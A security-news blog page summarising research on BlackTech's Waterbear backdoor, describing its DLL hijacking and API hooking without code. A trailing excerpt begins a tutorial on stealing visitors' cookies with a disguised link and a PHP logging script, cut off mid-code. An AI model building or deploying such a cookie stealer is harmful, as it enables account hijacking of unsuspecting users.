Skip to main content

Government Networks Attacked by BlackTech Hackers Group Using API Hooking Technique in Malware to Evade Detection

APT Hooking Hacking

Cyberespionage group known as BlackTech who behind the Waterbear malware campaign that has been targeted at various industries several years return to attack Government and technology companies.
Researchers recently uncovered a brand new piece of Waterbear payload with sophisticated hiding capability in the network from a specific security product by API hooking techniques.
 API hooking is a technique used to modify or hide the API Calls behavior and flow to evade detection of its activities in run time.
If the attacker knowing which specific APIs to hook in their attack, it means that they are familiar with how certain security products gather information on their clients’ endpoints and networks.
Researchers excited that this is the first time seen Waterbear attempting to hide its backdoor activities, and the attackers are very knowledgeable of the victim’s environment.

Waterbear Malware Behaviour

There is some modular approach that was observed that the Waterbear employed in its malware and utilize the DLL loader to decrypt and execute the payload.
There is some modular approach Waterbear employed in its malware and it utilizes the DLL loader to decrypt and execute the payload. which is the first stage of the backdoor and its divided into two types.
The first type acts as command and control server and the second type listening to the specific ports.
Researchers also believe that the attackers use Waterbear as a secondary payload to help maintain presence after gaining some levels of access to the targets’ systems. 

Waterbear Infection Process

The infection process starts with the weaponized DLL loader, in which attackers using two different techniques to trigger the DLL loader.
  • One is modifying a legitimate server application to import and load the malicious DLL loader.
  • The second technique is performing phantom DLL hijacking and DLL side loading. 
Researchers from Trend Micro observed that the DLL loader loaded two payloads.
The first payload injects the code into a specific security product to hide the campaign backdoor and the second one is a typical Waterbear first-stage backdoor, which we will attempt to dissect first based on a specific case we observed during our analysis.
API Hooking
The payload encrypts all of the function blocks before executing the actual malicious routine to avoid memory scanning during the runtime.

API hooking

Attack mainly using the API hooking technique to hide the behaviors of the first-stage backdoor which is the second payload in this operation.
Another first payload uses API hooking techniques to avoid being detected by a specific security product and it hooks the two different API ( “ZwOpenProcess” and “GetExtendedTcpTable”) to hide its process.
Later it modifying the function in the memory of the security product process, hence the original system DLL files remain unchanged.
“The payload is composed of a two-stage shellcode. The first-stage shellcode finds a specific security product’s process with a hardcoded name and injects the second-stage shellcode into that process. The second-stage shellcode then performs API hooking inside the targeted process.” Trend Micro researchers said.
You can also read the complete technical analysis and Indicator of compromise here.

Comments

Popular posts from this blog

10 Best Forum Software For Webmasters

10 Best Forum Software For Webmasters Do you want to create your online discussion forum or online community where people can discuss about their favorite topics? In this article, you can see 10 best forum software (scripts for setting up discussion forums) that can be used free of cost. Although some scripts are paid but rest of these forum scripts are free to use.You only need to buy hosting space and domain name for your website and after then you can install any of these forum scripts to start your own discussion forums on the internet. Online discussion forums generate huge page views because thousands of people want to join online discussion forums to ask questions or share knowledge. Some of online marketers join forums to discuss about their products with community members. You don't need to acquire any kind of technical skill to run a professional discussion forums because these days, almost all web hosting providers offer one click script installer which h

Assembly Language Step-by-step: Programming with DOS and Linux-

(-Assembly Language Step-by-step: Programming with DOS and Linux-) The bestselling guide to assembly language-now updated and expanded to include coverage of Linux . This new edition of the bestselling guide to assembly programming now covers DOS and Linux! The Second Edition begins with a highly accessible overview of the internal operations of the Intel-based PC and systematically covers all the steps involved in writing, testing, and debugging assembly programs. Expert author Jeff Duntemann then presents working example programs for both the DOS and Linux operating systems using the popular free assembler NASM. He also includes valuable information on how to use procedures and macros, plus rare explanations of assembly-level coding for Linux, all of which combine to offer a comprehensive look at the complexities of assembly programming for Intel processors. Providing you with the foundation to create executable assembly language programs, this book: * Explains how to use NASM

Cookie Logger

         Cookie Logger ---------------------------------------------- A Cookie Logger is a Script that is Used to Steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim. Today I am going to show How to make your own Cookie Logger… Hope you will enjoy Reading it... STEP 1: Copy & Save the notepad file from below and Rename it as Fun.gif <a href="www.yoursite.com/fun.gif"><img style="cursor: pointer; width: 116px; height: 116px;" src="nesite.com/jpg" /></a> STEP 2: Copy the Following Script into a Notepad File and Save the file as cookielogger.php $filename = “logfile.txt”; if (isset($_GET["cookie"])) { if (!$handle = fopen($filename, ‘a’)) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } else { if (fwrite($handle, “rn” . $_GET["cookie"]) === FALSE) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } } echo “Temporary